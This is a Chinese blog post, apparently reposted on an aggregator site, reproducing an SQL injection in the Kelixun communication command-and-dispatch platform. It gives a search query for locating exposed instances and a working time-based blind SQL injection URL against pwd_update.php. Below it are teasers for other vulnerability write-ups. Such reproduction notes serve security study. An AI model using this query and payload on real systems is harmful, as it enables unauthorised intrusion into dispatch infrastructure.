【漏洞复现】科立讯通信指挥调度平台editemedia.php sql注入漏洞

6月前作者：丢了少年失了心1 分类：Toy博客阅读(40) 违法举报

这篇具有很好参考价值的文章主要介绍了【漏洞复现】科立讯通信指挥调度平台editemedia.php sql注入漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

漏洞描述

在20240318之前的福建科立讯通信指挥调度平台中发现了一个漏洞。该漏洞被归类为关键级别，影响文件/api/client/editemedia.php的未知部分。通过操纵参数number/enterprise_uuid可导致SQL注入。攻击可能会远程发起。
【漏洞复现】科立讯通信指挥调度平台editemedia.php sql注入漏洞,网络安全 web安全渗透测试漏洞复现,开发语言,渗透测试,漏洞复现,网络安全

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

漏洞集合

【传送点】上千漏洞复现复现集合 exp poc 持续更新

资产确定

body="app/structure/departments.php" || app="指挥调度管理平台"

漏洞复现

多个注入点文章来源地址https://www.toymoban.com/news/detail-842968.html

/api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%

到了这里，关于【漏洞复现】科立讯通信指挥调度平台editemedia.php sql注入漏洞的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

大唐电信AC集中管理平台敏感信息泄漏漏洞复现 [附POC]

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！大唐电信科技股份有限公司是电信科学

2024年02月08日
浏览(37)
指挥通信车360度3d虚拟互动展示系统的优势及特点

通信车是装有通信装备，用于保障通信联络的专用车辆，用于偏僻/特殊环境下的机动通信。并且机动通信局装备通常分为应急综合通信车、网络管理车、程控电话车、自适应跳频电台车、数字扩频接力车、散射通信车、卫星通信车、光缆引接车、线缆收放车和通信电源车等，

2024年02月06日
浏览(33)
蓝凌EIS智慧协同平台 frm_form_upload.aspx 文件上传漏洞复现

蓝凌EIS智慧协同平台是一款专为企业提供高效协同办公和团队合作的产品。该平台集成了各种协同工具和功能，旨在提升企业内部沟通、协作和信息共享的效率。蓝凌EIS智慧协同平台 frm_form_upload.aspx接口处存在任意文件上传漏洞，未经过身份认证的攻击者可通过构造压缩文

2024年01月23日
浏览(33)
保护网站安全：学习蓝莲花的安装和使用，复现跨站脚本攻击漏洞及XSS接收平台

这篇文章旨在用于网络安全学习，请勿进行任何非法行为，否则后果自负。环境准备攻击介绍原理攻击者通过向目标网站提交包含恶意脚本的请求，然后将该恶意脚本注入到响应页面中，使其他用户在查看包含注入恶意脚本的页面时运行该恶意脚本。图片来源使用方法

2024年02月10日
浏览(36)
应急管理指挥中心大数据信息化管控平台建设方案（ppt可编辑）

本资料来源公开网络，仅供个人学习，请勿商用，如有侵权请联系删除

2024年02月01日
浏览(49)
(文章复现)面向配电网韧性提升的移动储能预布局与动态调度策略(2)-灾后调度matlab代码

[1]王月汉,刘文霞,姚齐,万海洋,何剑,熊雪君.面向配电网韧性提升的移动储能预布局与动态调度策略[J].电力系统自动化,2022,46(15):37-45. 灾后调度阶段以故障持续时间内负荷削减功率加权值最小为目标，建立了多源协同的灾后恢复优化模型，通过动态调度移动储能、电动

2024年02月08日
浏览(30)
web渗透测试漏洞复现：Elasticsearch未授权漏洞复现

Elasticsearch 是一款 Java 编写的企业级搜索服务，它以分布式多用户能力和全文搜索引擎为特点，采用 RESTful web 接口。这款搜索引擎由 Java 开发，作为 Apache 许可下的开源软件发布，是流行的企业级搜索引擎之一。Elasticsearch 的增删改查操作都通过 http 接口完成。开源的版本可能

2024年04月10日
浏览(35)
Apache Struts2漏洞复现之s2-001漏洞复现

仅供学习参考使用，请勿用作违法用途，否则后果自负。 Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI，鼓励开发者采用MVC架构。缘起于Apache Struts的WebWork框架，旨在提供相对

2024年02月16日
浏览(23)
文件包含漏洞及漏洞复现

程序开发人员通常会把可重复使用函数或语句写到单个文件中，形成“封装”。在使用某个功能的时候，直接调用此文件，无需再次编写，提高代码重用性，减少代码量。这种调用文件的过程通常称为包含。程序开发人员都希望代码更加灵活，所以会把被包含的文件的路径设

2024年02月10日
浏览(34)
漏洞复现 - - -Tomcat弱口令漏洞

目录一，简介二，Tomcat弱口令 1 tomcat发现 2 使用bp抓取登录包 3 Burpsuite爆破 1.将抓到的包发送到爆破模块,快捷键ctrl+i 2，选用自定义迭代器 3，开始爆破三，后台Getshell 1，准备一个jsp木马 2，制作一个war包 3,部署war包到Tomcat Web应用程序管理者 Tom cat有一个管理后台

2024年02月08日
浏览(33)